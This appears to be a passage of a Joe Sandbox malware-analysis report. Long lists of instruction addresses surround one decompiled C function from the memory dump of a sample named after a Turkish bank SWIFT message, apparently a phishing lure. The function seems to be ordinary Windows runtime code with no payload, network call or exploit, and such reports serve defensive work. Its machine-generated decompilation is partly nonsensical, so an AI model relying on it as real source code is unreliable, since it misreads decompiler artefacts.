                                                                        0x012de199
                                                                        0x012de193
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012941da
                                                                        0x012941da
                                                                        0x012941df
                                                                        0x012941e4
                                                                        0x012941ec
                                                                        0x01294203
                                                                        0x01294207
                                                                        0x012de1fd
                                                                        0x01294222
                                                                        0x01294226
                                                                        0x012de1f3
                                                                        0x012de1f3
                                                                        0x0129422c
                                                                        0x0129422c
                                                                        0x01294233
                                                                        0x012de1ed
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01294239
                                                                        0x01294239
                                                                        0x01294239
                                                                        0x01294239
                                                                        0x01294233
                                                                        0x01294226
                                                                        0x012941ee
                                                                        0x012941ee
                                                                        0x012941f4
                                                                        0x01294575
                                                                        0x012de1b1
                                                                        0x012de1b1
                                                                        0x00000000
                                                                        0x0129457b
                                                                        0x0129457b
                                                                        0x01294582
                                                                        0x012de1ab
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01294588
                                                                        0x01294588
                                                                        0x0129458c
                                                                        0x012de1c4
                                                                        0x012de1c4
                                                                        0x00000000
                                                                        0x01294592
                                                                        0x01294592
                                                                        0x01294599
                                                                        0x012de1be
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0129459f
                                                                        0x0129459f
                                                                        0x012945a3
                                                                        0x012de1d7
                                                                        0x012de1e4
                                                                        0x00000000
                                                                        0x012945a9
                                                                        0x012945a9
                                                                        0x012945b0
                                                                        0x012de1d1
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012945b6
                                                                        0x012945b6
                                                                        0x012945b6
                                                                        0x00000000
                                                                        0x012945b6
                                                                        0x012945b0
                                                                        0x012945a3
                                                                        0x01294599
                                                                        0x0129458c
                                                                        0x01294582
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012941f4
                                                                        0x0129423e
                                                                        0x01294241
                                                                        0x012945c0
                                                                        0x012945c4
                                                                        0x00000000
                                                                        0x012945ca
                                                                        0x012945ca
                                                                        0x00000000
                                                                        0x012de207
                                                                        0x012de20f
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012945d1
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012945ca
                                                                        0x00000000
                                                                        0x01294247
                                                                        0x01294247
                                                                        0x01294247
                                                                        0x01294249
                                                                        0x01294249
                                                                        0x01294249
                                                                        0x01294251
                                                                        0x01294251
                                                                        0x01294257
                                                                        0x0129425f
                                                                        0x0129426e
                                                                        0x01294270
                                                                        0x0129427a
                                                                        0x012de219
                                                                        0x012de219
                                                                        0x01294280
                                                                        0x01294282
                                                                        0x01294456
                                                                        0x012945ea
                                                                        0x00000000
                                                                        0x012945f0
                                                                        0x012de223
                                                                        0x00000000
                                                                        0x012de223
                                                                        0x0129445c
                                                                        0x0129445c
                                                                        0x00000000
                                                                        0x0129445c
                                                                        0x00000000
                                                                        0x01294288
                                                                        0x0129428c
                                                                        0x012de298
                                                                        0x01294292
                                                                        0x01294292
                                                                        0x0129429e
                                                                        0x012942a3
                                                                        0x012942a7
                                                                        0x012942ac
                                                                        0x012de22d
                                                                        0x012942b2
                                                                        0x012942b2
                                                                        0x012942b9
                                                                        0x012942bc
                                                                        0x012942c2
                                                                        0x012942ca
                                                                        0x012942cd
                                                                        0x012942cd
                                                                        0x012942d4
                                                                        0x0129433f
                                                                        0x0129433f
                                                                        0x012942d6
                                                                        0x012942d6
                                                                        0x012942d9
                                                                        0x012942dd
                                                                        0x012942eb
                                                                        0x012de23a
                                                                        0x012942f1
                                                                        0x01294305
                                                                        0x0129430d
                                                                        0x01294315
                                                                        0x01294318
                                                                        0x0129431f
                                                                        0x01294322
                                                                        0x0129432e
                                                                        0x0129433b
                                                                        0x0129433b
                                                                        0x00000000
                                                                        0x0129432e
                                                                        0x012942eb
                                                                        0x0129434c
                                                                        0x0129434e
                                                                        0x01294352
                                                                        0x01294359
                                                                        0x0129435e
                                                                        0x01294361
                                                                        0x0129436e
                                                                        0x0129438a
                                                                        0x0129438e
                                                                        0x01294396
                                                                        0x0129439e
                                                                        0x012943a1
                                                                        0x012943ad
                                                                        0x012943bb
                                                                        0x012943bb
                                                                        0x012943ad
                                                                        0x0129436e
                                                                        0x012943bf
                                                                        0x012943c5
                                                                        0x01294463
                                                                        0x01294463
                                                                        0x012943ce
                                                                        0x012943d5
                                                                        0x012943d9
                                                                        0x012943df
                                                                        0x01294475
                                                                        0x01294479
                                                                        0x01294491
                                                                        0x01294491
                                                                        0x01294479
                                                                        0x012943e5
                                                                        0x012943eb
                                                                        0x012943f4
                                                                        0x012943f6
                                                                        0x012943f9
                                                                        0x012943fc
                                                                        0x012943ff
                                                                        0x012944e8
                                                                        0x012944ed
                                                                        0x012944f3
                                                                        0x012de247
                                                                        0x00000000
                                                                        0x012944f9
                                                                        0x01294504
                                                                        0x01294508
                                                                        0x0129450f
                                                                        0x012de269
                                                                        0x00000000
                                                                        0x01294515
                                                                        0x01294519
                                                                        0x01294531
                                                                        0x01294534
                                                                        0x01294537
                                                                        0x0129453e
                                                                        0x01294541
                                                                        0x0129454a
                                                                        0x012de255
                                                                        0x012de255
                                                                        0x012de25b
                                                                        0x012de25e
                                                                        0x012de261
                                                                        0x012de261
                                                                        0x01294555
                                                                        0x01294559
                                                                        0x0129455d
                                                                        0x012de26d
                                                                        0x012de270
                                                                        0x012de274
                                                                        0x012de27a
                                                                        0x012de27d
                                                                        0x012de28e
                                                                        0x012de28e
                                                                        0x01294563
                                                                        0x01294563
                                                                        0x01294569
                                                                        0x01294569
                                                                        0x00000000
                                                                        0x0129455d
                                                                        0x0129450f
                                                                        0x00000000
                                                                        0x012944f3
                                                                        0x012943ff
                                                                        0x01294405
                                                                        0x01294405
                                                                        0x01294405
                                                                        0x012942ac
                                                                        0x0129428c
                                                                        0x01294282
                                                                        0x01294407
                                                                        0x0129440d
                                                                        0x012de2af
                                                                        0x012de2af
                                                                        0x01294413
                                                                        0x01294413
                                                                        0x00000000
                                                                        0x012941d4
                                                                        0x00000000
                                                                        0x012941c3
                                                                        0x012941bd
                                                                        0x01294415
                                                                        0x01294415
                                                                        0x01294416
                                                                        0x01294417
                                                                        0x01294429
                                                                        0x0129416e
                                                                        0x0129416e
                                                                        0x01294175
                                                                        0x01294498
                                                                        0x0129449f
                                                                        0x012de12d
                                                                        0x00000000
                                                                        0x012de133
                                                                        0x00000000
                                                                        0x012de133
                                                                        0x012944a5
                                                                        0x012944a5
                                                                        0x012944aa
                                                                        0x00000000
                                                                        0x012944bb
                                                                        0x012944ca
                                                                        0x012944d6
                                                                        0x012944d7
                                                                        0x012944d8
                                                                        0x012944e3
                                                                        0x012944e3
                                                                        0x012944aa
                                                                        0x0129417b
                                                                        0x0129417b
                                                                        0x0129417b
                                                                        0x00000000
                                                                        0x0129417b
                                                                        0x01294175
                                                                        0x00000000

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: e1443ba0e3698fb2af1a81960817c9f8d8e3a04c1bf913f79cf7a0cd177fab55
                                                                        • Instruction ID: 6232b709ac5946c532031debbbbb06a3f5587ae8fdd0dfe7d7d9d998d09cc796
                                                                        • Opcode Fuzzy Hash: e1443ba0e3698fb2af1a81960817c9f8d8e3a04c1bf913f79cf7a0cd177fab55
                                                                        • Instruction Fuzzy Hash: D0F1A0706282928FCB24DF6CC581A7AB7E1FF98714F15492EF985CB250E774D882CB52
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012A20A0 Relevance: .4, Instructions: 420COMMONCrypto
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 92%
                                                                        			E012A20A0(void* __ebx, unsigned int __ecx, signed int __edx, void* __eflags, intOrPtr* _a4, signed int _a8, intOrPtr* _a12, void* _a16, intOrPtr* _a20) {
				signed int _v16;
				signed int _v20;
				signed char _v24;
				intOrPtr _v28;
				signed int _v32;
				void* _v36;
				char _v48;
				signed int _v52;
				signed int _v56;
				unsigned int _v60;
				char _v64;
				unsigned int _v68;
				signed int _v72;
				char _v73;
				signed int _v74;
				char _v75;
				signed int _v76;
				void* _v81;
				void* _v82;
				void* _v89;
				void* _v92;
				void* _v97;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t128;
				void* _t129;
				signed int _t130;
				void* _t132;
				signed char _t133;
				intOrPtr _t135;
				signed int _t137;
				signed int _t140;
				signed int* _t144;
				signed int* _t145;
				intOrPtr _t146;
				signed int _t147;
				signed char* _t148;
				signed int _t149;
				signed int _t153;
				signed int _t169;
				signed int _t174;
				signed int _t180;
				void* _t197;
				void* _t198;
				signed int _t201;
				intOrPtr* _t202;
				intOrPtr* _t205;
				signed int _t210;
				signed int _t215;
				signed int _t218;
				signed char _t221;
				signed int _t226;
				char _t227;
				signed int _t228;
				void* _t229;
				unsigned int _t231;
				void* _t235;
				signed int _t240;
				signed int _t241;
				void* _t242;
				signed int _t246;
				signed int _t248;
				signed int _t252;
				signed int _t253;
				void* _t254;
				intOrPtr* _t256;
				intOrPtr _t257;
				unsigned int _t262;
				signed int _t265;
				void* _t267;
				signed int _t275;

				_t198 = __ebx;
				_t267 = (_t265 & 0xfffffff0) - 0x48;
				_v68 = __ecx;
				_v73 = 0;
				_t201 = __edx & 0x00002000;
				_t128 = __edx & 0xffffdfff;
				_v74 = __edx & 0xffffff00 | __eflags != 0x00000000;
				_v72 = _t128;
				if((_t128 & 0x00000008) != 0) {
					__eflags = _t128 - 8;
					if(_t128 != 8) {
						L69:
						_t129 = 0xc000000d;
						goto L23;
					} else {
						_t130 = 0;
						_v72 = 0;
						_v75 = 1;
						L2:
						_v74 = 1;
						_t226 =  *0x1368714; // 0x0
						if(_t226 != 0) {
							__eflags = _t201;
							if(_t201 != 0) {
								L62:
								_v74 = 1;
								L63:
								_t130 = _t226 & 0xffffdfff;
								_v72 = _t130;
								goto L3;
							}
							_v74 = _t201;
							__eflags = _t226 & 0x00002000;
							if((_t226 & 0x00002000) == 0) {
								goto L63;
							}
							goto L62;
						}
						L3:
						_t227 = _v75;
						L4:
						_t240 = 0;
						_v56 = 0;
						_t252 = _t130 & 0x00000100;
						if(_t252 != 0 || _t227 != 0) {
							_t240 = _v68;
							_t132 = E012A2EB0(_t240);
							__eflags = _t132 - 2;
							if(_t132 != 2) {
								__eflags = _t132 - 1;
								if(_t132 == 1) {
									goto L25;
								}
								__eflags = _t132 - 6;
								if(_t132 == 6) {
									__eflags =  *((short*)(_t240 + 4)) - 0x3f;
									if( *((short*)(_t240 + 4)) != 0x3f) {
										goto L40;
									}
									_t197 = E012A2EB0(_t240 + 8);
									__eflags = _t197 - 2;
									if(_t197 == 2) {
										goto L25;
									}
								}
								L40:
								_t133 = 1;
								L26:
								_t228 = _v75;
								_v56 = _t240;
								__eflags = _t133;
								if(_t133 != 0) {
									__eflags = _t228;
									if(_t228 == 0) {
										L43:
										__eflags = _v72;
										if(_v72 == 0) {
											goto L8;
										}
										goto L69;
									}
									_t133 = E012758EC(_t240);
									_t221 =  *0x1365cac; // 0x16
									__eflags = _t221 & 0x00000040;
									if((_t221 & 0x00000040) != 0) {
										_t228 = 0;
										__eflags = _t252;
										if(_t252 != 0) {
											goto L43;
										}
										_t133 = _v72;
										goto L7;
									}
									goto L43;
								} else {
									_t133 = _v72;
									goto L6;
								}
							}
							L25:
							_t133 = _v73;
							goto L26;
						} else {
							L6:
							_t221 =  *0x1365cac; // 0x16
							L7:
							if(_t133 != 0) {
								__eflags = _t133 & 0x00001000;
								if((_t133 & 0x00001000) != 0) {
									_t133 = _t133 | 0x00000a00;
									__eflags = _t221 & 0x00000004;
									if((_t221 & 0x00000004) != 0) {
										_t133 = _t133 | 0x00000400;
									}
								}
								__eflags = _t228;
								if(_t228 != 0) {
									_t133 = _t133 | 0x00000100;
								}
								_t229 = E012B4A2C(0x1366e40, 0x12b4b30, _t133, _t240);
								__eflags = _t229;
								if(_t229 == 0) {
									_t202 = _a20;
									goto L100;
								} else {
									_t135 =  *((intOrPtr*)(_t229 + 0x38));
									L15:
									_t202 = _a20;
									 *_t202 = _t135;
									if(_t229 == 0) {
										L100:
										 *_a4 = 0;
										_t137 = _a8;
										__eflags = _t137;
										if(_t137 != 0) {
											 *_t137 = 0;
										}
										 *_t202 = 0;
										_t129 = 0xc0000017;
										goto L23;
									} else {
										_t242 = _a16;
										if(_t242 != 0) {
											_t254 = _t229;
											memcpy(_t242, _t254, 0xd << 2);
											_t267 = _t267 + 0xc;
											_t242 = _t254 + 0x1a;
										}
										_t205 = _a4;
										_t25 = _t229 + 0x48; // 0x48
										 *_t205 = _t25;
										_t140 = _a8;
										if(_t140 != 0) {
											__eflags =  *((char*)(_t267 + 0xa));
											if( *((char*)(_t267 + 0xa)) != 0) {
												 *_t140 =  *((intOrPtr*)(_t229 + 0x44));
											} else {
												 *_t140 = 0;
											}
										}
										_t256 = _a12;
										if(_t256 != 0) {
											 *_t256 =  *((intOrPtr*)(_t229 + 0x3c));
										}
										_t257 =  *_t205;
										_v48 = 0;
										 *((intOrPtr*)(_t267 + 0x2c)) = 0;
										_v56 = 0;
										_v52 = 0;
										_t144 =  *( *[fs:0x30] + 0x50);
										if(_t144 != 0) {
											__eflags =  *_t144;
											if( *_t144 == 0) {
												goto L20;
											}
											_t145 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
											goto L21;
										} else {
											L20:
											_t145 = 0x7ffe0384;
											L21:
											if( *_t145 != 0) {
												_t146 =  *[fs:0x30];
												__eflags =  *(_t146 + 0x240) & 0x00000004;
												if(( *(_t146 + 0x240) & 0x00000004) != 0) {
													_t147 = E01297D50();
													__eflags = _t147;
													if(_t147 == 0) {
														_t148 = 0x7ffe0385;
													} else {
														_t148 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
													}
													__eflags =  *_t148 & 0x00000020;
													if(( *_t148 & 0x00000020) != 0) {
														_t149 = _v72;
														__eflags = _t149;
														if(__eflags == 0) {
															_t149 = 0x1255c80;
														}
														_push(_t149);
														_push( &_v48);
														 *((char*)(_t267 + 0xb)) = E012AF6E0(_t198, _t242, _t257, __eflags);
														_push(_t257);
														_push( &_v64);
														_t153 = E012AF6E0(_t198, _t242, _t257, __eflags);
														__eflags =  *((char*)(_t267 + 0xb));
														if( *((char*)(_t267 + 0xb)) != 0) {
															__eflags = _t153;
															if(_t153 != 0) {
																__eflags = 0;
																E012F7016(0x14c1, 0, 0, 0,  &_v72,  &_v64);
																L01292400(_t267 + 0x20);
															}
															L01292400( &_v64);
														}
													}
												}
											}
											_t129 = 0;
											L23:
											return _t129;
										}
									}
								}
							}
							L8:
							_t275 = _t240;
							if(_t275 != 0) {
								_v73 = 0;
								_t253 = 0;
								__eflags = 0;
								L29:
								_push(0);
								_t241 = E012A2397(_t240);
								__eflags = _t241;
								if(_t241 == 0) {
									_t229 = 0;
									L14:
									_t135 = 0;
									goto L15;
								}
								__eflags =  *((char*)(_t267 + 0xb));
								 *(_t241 + 0x34) = 1;
								if( *((char*)(_t267 + 0xb)) != 0) {
									E01292280(_t134, 0x1368608);
									__eflags =  *0x1366e48 - _t253; // 0x0
									if(__eflags != 0) {
										L48:
										_t253 = 0;
										__eflags = 0;
										L49:
										E0128FFB0(_t198, _t241, 0x1368608);
										__eflags = _t253;
										if(_t253 != 0) {
											L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t253);
										}
										goto L31;
									}
									 *0x1366e48 = _t241;
									 *(_t241 + 0x34) =  *(_t241 + 0x34) + 1;
									__eflags = _t253;
									if(_t253 != 0) {
										_t57 = _t253 + 0x34;
										 *_t57 =  *(_t253 + 0x34) + 0xffffffff;
										__eflags =  *_t57;
										if( *_t57 == 0) {
											goto L49;
										}
									}
									goto L48;
								}
								L31:
								_t229 = _t241;
								goto L14;
							}
							_v73 = 1;
							_v64 = _t240;
							asm("lock bts dword [esi], 0x0");
							if(_t275 < 0) {
								_t231 =  *0x1368608; // 0x0
								while(1) {
									_v60 = _t231;
									__eflags = _t231 & 0x00000001;
									if((_t231 & 0x00000001) != 0) {
										goto L76;
									}
									_t73 = _t231 + 1; // 0x1
									_t210 = _t73;
									asm("lock cmpxchg [edi], ecx");
									__eflags = _t231 - _t231;
									if(_t231 != _t231) {
										L92:
										_t133 = E012A6B90(_t210,  &_v64);
										_t262 =  *0x1368608; // 0x0
										L93:
										_t231 = _t262;
										continue;
									}
									_t240 = _v56;
									goto L10;
									L76:
									_t169 = E012AE180(_t133);
									__eflags = _t169;
									if(_t169 != 0) {
										_push(0xc000004b);
										_push(0xffffffff);
										E012B97C0();
										_t231 = _v68;
									}
									_v72 = 0;
									_v24 =  *( *[fs:0x18] + 0x24);
									_v16 = 3;
									_v28 = 0;
									__eflags = _t231 & 0x00000002;
									if((_t231 & 0x00000002) == 0) {
										_v32 =  &_v36;
										_t174 = _t231 >> 4;
										__eflags = 1 - _t174;
										_v20 = _t174;
										asm("sbb ecx, ecx");
										_t210 = 3 |  &_v36;
										__eflags = _t174;
										if(_t174 == 0) {
											_v20 = 0xfffffffe;
										}
									} else {
										_v32 = 0;
										_v20 = 0xffffffff;
										_v36 = _t231 & 0xfffffff0;
										_t210 = _t231 & 0x00000008 |  &_v36 | 0x00000007;
										_v72 =  !(_t231 >> 2) & 0xffffff01;
									}
									asm("lock cmpxchg [edi], esi");
									_t262 = _t231;
									__eflags = _t262 - _t231;
									if(_t262 != _t231) {
										goto L92;
									} else {
										__eflags = _v72;
										if(_v72 != 0) {
											E012B006A(0x1368608, _t210);
										}
										__eflags =  *0x7ffe036a - 1;
										if(__eflags <= 0) {
											L89:
											_t133 =  &_v16;
											asm("lock btr dword [eax], 0x1");
											if(__eflags >= 0) {
												goto L93;
											} else {
												goto L90;
											}
											do {
												L90:
												_push(0);
												_push(0x1368608);
												E012BB180();
												_t133 = _v24;
												__eflags = _t133 & 0x00000004;
											} while ((_t133 & 0x00000004) == 0);
											goto L93;
										} else {
											_t218 =  *0x1366904; // 0x400
											__eflags = _t218;
											if(__eflags == 0) {
												goto L89;
											} else {
												goto L87;
											}
											while(1) {
												L87:
												__eflags = _v16 & 0x00000002;
												if(__eflags == 0) {
													goto L89;
												}
												asm("pause");
												_t218 = _t218 - 1;
												__eflags = _t218;
												if(__eflags != 0) {
													continue;
												}
												goto L89;
											}
											goto L89;
										}
									}
								}
							}
							L10:
							_t229 =  *0x1366e48; // 0x0
							_v72 = _t229;
							if(_t229 == 0 ||  *((char*)(_t229 + 0x40)) == 0 &&  *((intOrPtr*)(_t229 + 0x38)) !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
								E0128FFB0(_t198, _t240, 0x1368608);
								_t253 = _v76;
								goto L29;
							} else {
								 *((intOrPtr*)(_t229 + 0x34)) =  *((intOrPtr*)(_t229 + 0x34)) + 1;
								asm("lock cmpxchg [esi], ecx");
								_t215 = 1;
								if(1 != 1) {
									while(1) {
										_t246 = _t215 & 0x00000006;
										_t180 = _t215;
										__eflags = _t246 - 2;
										_v56 = _t246;
										_t235 = (0 | _t246 == 0x00000002) * 4 - 1 + _t215;
										asm("lock cmpxchg [edi], esi");
										_t248 = _v56;
										__eflags = _t180 - _t215;
										if(_t180 == _t215) {
											break;
										}
										_t215 = _t180;
									}
									__eflags = _t248 - 2;
									if(_t248 == 2) {
										__eflags = 0;
										E012B00C2(0x1368608, 0, _t235);
									}
									_t229 = _v72;
								}
								goto L14;
							}
						}
					}
				}
				_t227 = 0;
				_v75 = 0;
				if(_t128 != 0) {
					goto L4;
				}
				goto L2;
			}











































































                                                                        0x012a20a0
                                                                        0x012a20a8
                                                                        0x012a20ad
                                                                        0x012a20b3
                                                                        0x012a20b8
                                                                        0x012a20c2
                                                                        0x012a20c7
                                                                        0x012a20cb
                                                                        0x012a20d2
                                                                        0x012a2263
                                                                        0x012a2266
                                                                        0x012e5836
                                                                        0x012e5836
                                                                        0x00000000
                                                                        0x012a226c
                                                                        0x012a226c
                                                                        0x012a2270
                                                                        0x012a2274
                                                                        0x012a20e2
                                                                        0x012a20e2
                                                                        0x012a20e6
                                                                        0x012a20ee
                                                                        0x012e57dc
                                                                        0x012e57de
                                                                        0x012e57ec
                                                                        0x012e57ec
                                                                        0x012e57f1
                                                                        0x012e57f3
                                                                        0x012e57f8
                                                                        0x00000000
                                                                        0x012e57f8
                                                                        0x012e57e0
                                                                        0x012e57e4
                                                                        0x012e57ea
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e57ea
                                                                        0x012a20f4
                                                                        0x012a20f4
                                                                        0x012a20f8
                                                                        0x012a20f8
                                                                        0x012a20fc
                                                                        0x012a2100
                                                                        0x012a2106
                                                                        0x012a2201
                                                                        0x012a2206
                                                                        0x012a220b
                                                                        0x012a220e
                                                                        0x012a22a9
                                                                        0x012a22ac
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a22b2
                                                                        0x012a22b5
                                                                        0x012e5801
                                                                        0x012e5806
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e5810
                                                                        0x012e5815
                                                                        0x012e5818
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e581e
                                                                        0x012a22bb
                                                                        0x012a22bb
                                                                        0x012a2218
                                                                        0x012a2218
                                                                        0x012a221c
                                                                        0x012a2220
                                                                        0x012a2222
                                                                        0x012a22c2
                                                                        0x012a22c4
                                                                        0x012a22dc
                                                                        0x012a22dc
                                                                        0x012a22e1
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a22e7
                                                                        0x012a22c8
                                                                        0x012a22cd
                                                                        0x012a22d3
                                                                        0x012a22d6
                                                                        0x012e5823
                                                                        0x012e5825
                                                                        0x012e5827
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e582d
                                                                        0x00000000
                                                                        0x012e582d
                                                                        0x00000000
                                                                        0x012a2228
                                                                        0x012a2228
                                                                        0x00000000
                                                                        0x012a2228
                                                                        0x012a2222
                                                                        0x012a2214
                                                                        0x012a2214
                                                                        0x00000000
                                                                        0x012a2114
                                                                        0x012a2114
                                                                        0x012a2114
                                                                        0x012a211a
                                                                        0x012a211c
                                                                        0x012a2348
                                                                        0x012a234d
                                                                        0x012e5840
                                                                        0x012e5845
                                                                        0x012e5848
                                                                        0x012e584e
                                                                        0x012e584e
                                                                        0x012e5848
                                                                        0x012a2353
                                                                        0x012a2355
                                                                        0x012a2388
                                                                        0x012a2388
                                                                        0x012a2368
                                                                        0x012a236a
                                                                        0x012a236c
                                                                        0x012a238f
                                                                        0x00000000
                                                                        0x012a236e
                                                                        0x012a236e
                                                                        0x012a218e
                                                                        0x012a218e
                                                                        0x012a2191
                                                                        0x012a2195
                                                                        0x012e5a03
                                                                        0x012e5a06
                                                                        0x012e5a0c
                                                                        0x012e5a0f
                                                                        0x012e5a11
                                                                        0x012e5a13
                                                                        0x012e5a13
                                                                        0x012e5a19
                                                                        0x012e5a1f
                                                                        0x00000000
                                                                        0x012a219b
                                                                        0x012a219b
                                                                        0x012a21a0
                                                                        0x012a2282
                                                                        0x012a2284
                                                                        0x012a2284
                                                                        0x012a2284
                                                                        0x012a2284
                                                                        0x012a21a6
                                                                        0x012a21a9
                                                                        0x012a21ac
                                                                        0x012a21ae
                                                                        0x012a21b3
                                                                        0x012a228b
                                                                        0x012a2290
                                                                        0x012a2379
                                                                        0x012a2296
                                                                        0x012a2298
                                                                        0x012a2298
                                                                        0x012a2290
                                                                        0x012a21b9
                                                                        0x012a21be
                                                                        0x012a22a2
                                                                        0x012a22a2
                                                                        0x012a21c4
                                                                        0x012a21c8
                                                                        0x012a21cc
                                                                        0x012a21d0
                                                                        0x012a21d4
                                                                        0x012a21de
                                                                        0x012a21e3
                                                                        0x012e5a29
                                                                        0x012e5a2c
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e5a3b
                                                                        0x00000000
                                                                        0x012a21e9
                                                                        0x012a21e9
                                                                        0x012a21e9
                                                                        0x012a21ee
                                                                        0x012a21f1
                                                                        0x012e5a45
                                                                        0x012e5a4b
                                                                        0x012e5a52
                                                                        0x012e5a58
                                                                        0x012e5a5d
                                                                        0x012e5a5f
                                                                        0x012e5a71
                                                                        0x012e5a61
                                                                        0x012e5a6a
                                                                        0x012e5a6a
                                                                        0x012e5a76
                                                                        0x012e5a79
                                                                        0x012e5a7f
                                                                        0x012e5a83
                                                                        0x012e5a85
                                                                        0x012e5a87
                                                                        0x012e5a87
                                                                        0x012e5a8c
                                                                        0x012e5a91
                                                                        0x012e5a97
                                                                        0x012e5a9f
                                                                        0x012e5aa0
                                                                        0x012e5aa1
                                                                        0x012e5aa6
                                                                        0x012e5aab
                                                                        0x012e5ab1
                                                                        0x012e5ab3
                                                                        0x012e5ab9
                                                                        0x012e5aca
                                                                        0x012e5ad4
                                                                        0x012e5ad4
                                                                        0x012e5ade
                                                                        0x012e5ade
                                                                        0x012e5aab
                                                                        0x012e5a79
                                                                        0x012e5a52
                                                                        0x012a21f7
                                                                        0x012a21f9
                                                                        0x012a21fe
                                                                        0x012a21fe
                                                                        0x012a21e3
                                                                        0x012a2195
                                                                        0x012a236c
                                                                        0x012a2122
                                                                        0x012a2122
                                                                        0x012a2124
                                                                        0x012a2231
                                                                        0x012a2236
                                                                        0x012a2236
                                                                        0x012a2238
                                                                        0x012a2238
                                                                        0x012a2240
                                                                        0x012a2242
                                                                        0x012a2244
                                                                        0x012e59fc
                                                                        0x012a218c
                                                                        0x012a218c
                                                                        0x00000000
                                                                        0x012a218c
                                                                        0x012a224a
                                                                        0x012a224f
                                                                        0x012a2256
                                                                        0x012a2304
                                                                        0x012a2309
                                                                        0x012a230f
                                                                        0x012a231e
                                                                        0x012a231e
                                                                        0x012a231e
                                                                        0x012a2320
                                                                        0x012a2325
                                                                        0x012a232a
                                                                        0x012a232c
                                                                        0x012a233e
                                                                        0x012a233e
                                                                        0x00000000
                                                                        0x012a232c
                                                                        0x012a2311
                                                                        0x012a2317
                                                                        0x012a231a
                                                                        0x012a231c
                                                                        0x012a2380
                                                                        0x012a2380
                                                                        0x012a2380
                                                                        0x012a2384
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a2386
                                                                        0x00000000
                                                                        0x012a231c
                                                                        0x012a225c
                                                                        0x012a225c
                                                                        0x00000000
                                                                        0x012a225c
                                                                        0x012a212a
                                                                        0x012a2134
                                                                        0x012a2138
                                                                        0x012a213d
                                                                        0x012e5858
                                                                        0x012e5863
                                                                        0x012e5863
                                                                        0x012e5867
                                                                        0x012e586a
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e586c
                                                                        0x012e586c
                                                                        0x012e5871
                                                                        0x012e5875
                                                                        0x012e5877
                                                                        0x012e5997
                                                                        0x012e599c
                                                                        0x012e59a1
                                                                        0x012e59a7
                                                                        0x012e59a7
                                                                        0x00000000
                                                                        0x012e59a7
                                                                        0x012e587d
                                                                        0x00000000
                                                                        0x012e588b
                                                                        0x012e588b
                                                                        0x012e5890
                                                                        0x012e5892
                                                                        0x012e5894
                                                                        0x012e5899
                                                                        0x012e589b
                                                                        0x012e58a0
                                                                        0x012e58a0
                                                                        0x012e58aa
                                                                        0x012e58b2
                                                                        0x012e58b6
                                                                        0x012e58be
                                                                        0x012e58c6
                                                                        0x012e58c9
                                                                        0x012e590d
                                                                        0x012e5917
                                                                        0x012e591a
                                                                        0x012e591c
                                                                        0x012e5920
                                                                        0x012e5928
                                                                        0x012e592a
                                                                        0x012e592c
                                                                        0x012e592e
                                                                        0x012e592e
                                                                        0x012e58cb
                                                                        0x012e58cd
                                                                        0x012e58d8
                                                                        0x012e58e0
                                                                        0x012e58f4
                                                                        0x012e58fe
                                                                        0x012e58fe
                                                                        0x012e593a
                                                                        0x012e593e
                                                                        0x012e5940
                                                                        0x012e5942
                                                                        0x00000000
                                                                        0x012e5944
                                                                        0x012e5944
                                                                        0x012e5949
                                                                        0x012e594e
                                                                        0x012e594e
                                                                        0x012e5953
                                                                        0x012e595b
                                                                        0x012e5976
                                                                        0x012e5976
                                                                        0x012e597a
                                                                        0x012e597f
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e5981
                                                                        0x012e5981
                                                                        0x012e5981
                                                                        0x012e5983
                                                                        0x012e5988
                                                                        0x012e598d
                                                                        0x012e5991
                                                                        0x012e5991
                                                                        0x00000000
                                                                        0x012e595d
                                                                        0x012e595d
                                                                        0x012e5963
                                                                        0x012e5965
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e5967
                                                                        0x012e5967
                                                                        0x012e596b
                                                                        0x012e596d
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e596f
                                                                        0x012e5971
                                                                        0x012e5971
                                                                        0x012e5974
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e5974
                                                                        0x00000000
